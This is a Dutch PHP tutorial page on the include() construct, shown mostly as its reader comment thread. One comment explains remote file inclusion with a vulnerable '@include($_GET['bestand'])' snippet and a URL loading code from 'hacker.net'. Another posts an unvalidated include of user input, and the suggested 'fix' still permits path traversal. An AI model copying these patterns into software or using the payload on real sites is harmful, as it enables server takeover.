De functie include()

Door - SanThe - , 23 jaar geleden, 13.260x bekeken

Bestanden in een ander bestand invoegen.

Gesponsorde koppelingen

Inhoudsopgave

  1. Korte uitleg met voorbeeldje

 

Er zijn 29 reacties op 'De functie include'

PHP hulp
PHP hulp
0 seconden vanaf nu
 

Gesponsorde koppelingen


23 jaar geleden
 
0 +1 -0 -1
Goede tutorial.
- SanThe -
- SanThe -
23 jaar geleden
 
0 +1 -0 -1
@Webmakerij: Zo beter?
Jan Koehoorn
Jan Koehoorn
23 jaar geleden
 
0 +1 -0 -1
Vooral het laatst deel van SanThe's uitleg is belangrijk en wordt vaak fout gedaan. Ik onthoud het altijd zo: een include moet verwijzen naar de map vanwaaruit het script UITGEVOERD wordt.
 
0 +1 -0 -1
Kan er ook nog een stukje bij over require, of is dat hetzelfde...
Alfred -
Alfred -
23 jaar geleden
 
0 +1 -0 -1
Jan:
Vooral het laatst deel van SanThe's uitleg is belangrijk en wordt vaak fout gedaan. Ik onthoud het altijd zo: een include moet verwijzen naar de map vanwaaruit het script UITGEVOERD wordt.


Inderdaad, en dit is belangrijk als je met mod_rewrite gaat werken, en dus al je urls aanpast :))
Richard van Velzen
Richard van Velzen
23 jaar geleden
 
0 +1 -0 -1
w0w dat include nu ook al een functie is:S wist ik nog niet;) bij mijn weten is en blijft het voorlopig een control structure, en geen functie - hoewel het als functie in de documentatie staat, kun je duidelijk lezen dat het geen functie is;)
Niels Beckers
Niels Beckers
23 jaar geleden
 
0 +1 -0 -1
thx SanThe
hierop maakte ik geregeld een fout
Niels
Niels
23 jaar geleden
 
0 +1 -0 -1
Wat ik ook nog had willen zien, is graag wat de control structuur doet, niet dat ik het niet weet maar voor de leken onder ons.
ook graag volgende keer wat noemen over verschillen tussen include_once en include. Mss ook require en require_once. Ook al lijkt het duidelijk is het soms heel handig waarom nou die en niet die ander.
Maar verder goeie tut voor de leken onder ons
Lissy Pixel
Lissy Pixel
23 jaar geleden
 
0 +1 -0 -1
@ SanThe : Je bent en blijft een TOPPER!! Geweldig hoe je toch je tijd en energie erin steekt om alles duidelijk te maken keer op keer.
Helder de materie m.b.t. include() uiteengezet!! BEDANKT!!!
Willem vp
Willem vp
23 jaar geleden
 
0 +1 -0 -1
Wanneer je een bestand include vanuit verschillende directory-niveau's (en helemaal wanneer je in het ge-include bestand ook nog andere bestanden gaat includen) kan het onoverzichtelijk worden wat je precies include, of kan het includen zelfs helemaal mis gaan. Om die reden vind ik het zelf handiger om altijd te verwijzen naar absolute paden, dat gaat namelijk altijd goed:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?
include $_SERVER['DOCUMENT_ROOT'] . '/incfile1.php';
include $_SERVER['DOCUMENT_ROOT'] . '/map1/mapa/incfile2.php';
?>
Sander
Sander
23 jaar geleden
 
0 +1 -0 -1
Een goede tutorial. Laatste stuk is zeer belangrijk om fouten te voorkomen
Richard van Velzen
Richard van Velzen
23 jaar geleden
 
0 +1 -0 -1
Waarom zie ik in deze tut de hele tijd include() staan? dit is echt niet de bedoeling, je moet include 'bestand.php' doen;)
Legolas
Legolas
23 jaar geleden
 
0 +1 -0 -1
nee include() mag ook met haakjes en persoonlijk zou ik dan daar ook voor kiezen omdat dan alles op dezelfde manier is.
Dennis Mertens
Dennis Mertens
23 jaar geleden
 
0 +1 -0 -1
Ik vind het een goede turtorial maar niet voldoende.
Ik vind dat je de verwante functies ook moet laten zien.
include_once() bv. en require
Monique
monique
23 jaar geleden
 
0 +1 -0 -1
Weet er meschien iemand hoe je een php pagina kan include in een tpl bestand of gaat dit niet ?

Als ik een banner wil include vanuit php dan is hij niet zichtbaar hij is wel zichtbaar als ik de tpl hernoem naar php.

Alvast bedank
Mike de Klerk
Mike de Klerk
23 jaar geleden
 
0 +1 -0 -1
Je moet natuurlijk altijd rekening houden met hackers die op het internet rond zwerven. Wil je de include control statement (oftewel de include 'functie') dynamisch maken door middel van een variabele, dan moet je er rekening mee houden dat hier misbruik van gemaakt kan worden. Zie voorbeeld:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?
//include en bestand die uit de url wordt opgehaald
@include($_GET['bestand']);
?>


ALs je nu dus in de url bv dit hebt. http://example.com/index.php?bestand=database.php
Dan zal hij database.php uit de huidige directory includen.
Opzich niet verkeerd toch? maar wel als men het volgende invoert:
http://example.com/index.php?bestand=http://hacker.net/hack.txt
Nu wordt het bestand hack.txt vanaf een andere server geinclude. Omdat dit *.txt is en geen php bestand wordt de code pas geparsed op de server van example.com. Nu kan dus een hacker php code uitvoeren op jou server! Erg gevaarlijk dus. Wat doe je hier tegen?
maak een controle bij je include. Gebruik bv hetvolgende
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?
@include('./'.$_GET['bestand']);
?>

NU wordt het bestand uit de huidige direcotry gehaald, bestaat deze niet dan wordt er geen foutmelding gegeven d.m.v. de @.
Je kunt het nog uitgebreider doen:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
<?
if(file_exists('./'.$_GET['bestand']))
{

      include('./'.$_GET['bestand']);
}

?>

Nu wordt het bestand pas geinclude als het uberhaupt bestaat in de huidige direcotry!
d.m.v. een else te gebruiken bij de if kun je actie ondernemen als het bestand niet bestaat wat geinclude moet worden, bv jezelf op de hoogte stellen d.m.v een mailtje te versturen, of met headers de gebruiker ergens anders heen te sturen of een eigengemaakte 404 pagina includen.

Hopelijk hebben jullie hier wat aan
Sebas
Sebas
22 jaar geleden
 
0 +1 -0 -1
Hoe kan je een pagina includen, waar '?p=kandit' ofzo iets dergelijks achter staat? Zoiets lukt niet:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?
      include('bestand.php?p=kandit');

?>


Hoe moet het dan?
M.g.v
Sebas
Eris -
Eris -
22 jaar geleden
 
0 +1 -0 -1
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
<?
$p
= 'kandit';
      include('bestand.php');

?>
Roy Bongers
Roy Bongers
22 jaar geleden
 
0 +1 -0 -1
Dat lukt niet. Maar waarom zou je dat willen? via $_GET['p'] kun je namelijk overal de waarde 'kandit' ophalen. Voorbeeld:

main.php:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php
echo 'Main: ' . $_GET['p'];
include('bestand.php');
?>


betand.php:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
echo 'Bestand: ' . $_GET['p'];
?>


Dit zal als resultaat opleveren:
Main: kandit
Bestand: kandit
Sebas
Sebas
22 jaar geleden
 
0 +1 -0 -1
ik wil dus de pagina bestand.php?p=kandit includen in zijn geheel. Werkt het dan wat Eris zegt?

Mv.g.
Sebas
Gerben G
Gerben G
22 jaar geleden
 
0 +1 -0 -1
ik gebruik dit altijd:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
<?php
$p
= $_GET['p'];
if (isset ($_GET['p'] ))
{

  include("$p.php");
}
Jelmer -
Jelmer -
22 jaar geleden
 
0 +1 -0 -1
En dat moet je dus nu net nooit doen -> XSS
- SanThe -
- SanThe -
22 jaar geleden
 
0 +1 -0 -1
Wat Eris zegt werkt.
Legolas
Legolas
22 jaar geleden
 
0 +1 -0 -1
@sanThe

beter zo:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php
$_GET
['p'] = 'iets';
include('bestand.php');
?>
Sebas
Sebas
22 jaar geleden
 
0 +1 -0 -1
Dankje, het werkt!

M.v.g
Sebas
Ane Lenstra
Ane Lenstra
21 jaar geleden
 
0 +1 -0 -1
Eerlijk gezegt snap ik er niet veel van..
Wat is map 1, map 2 en map 3?
En bestand 1, bestand 2, en bestand 3?
Matshofman
matshofman
20 jaar geleden
 
0 +1 -0 -1
Ik had het probleem dat ik bestanden van mijn main domein wou includen in subdomeinen en ik heb een maniertje gevonden hoe je dat heel makkelijk kan doen

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<?php include("/home/vhosts/domeinnaam.nl/httpdocs/eeneigenmap/bestand.php"); ?>
Toby hinloopen
toby hinloopen
19 jaar geleden
 
0 +1 -0 -1
goed dat ik nu weet wat ../ doet :P
PHP hulp
PHP hulp
0 seconden vanaf nu
 

Gesponsorde koppelingen
Matthias R
Matthias R
18 jaar geleden
 
0 +1 -0 -1
Kort maar duidelijk

Om te reageren heb je een account nodig en je moet ingelogd zijn.

Inhoudsopgave

  1. Korte uitleg met voorbeeldje

Labels

  • Geen tags toegevoegd.

PHP tutorial opties

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.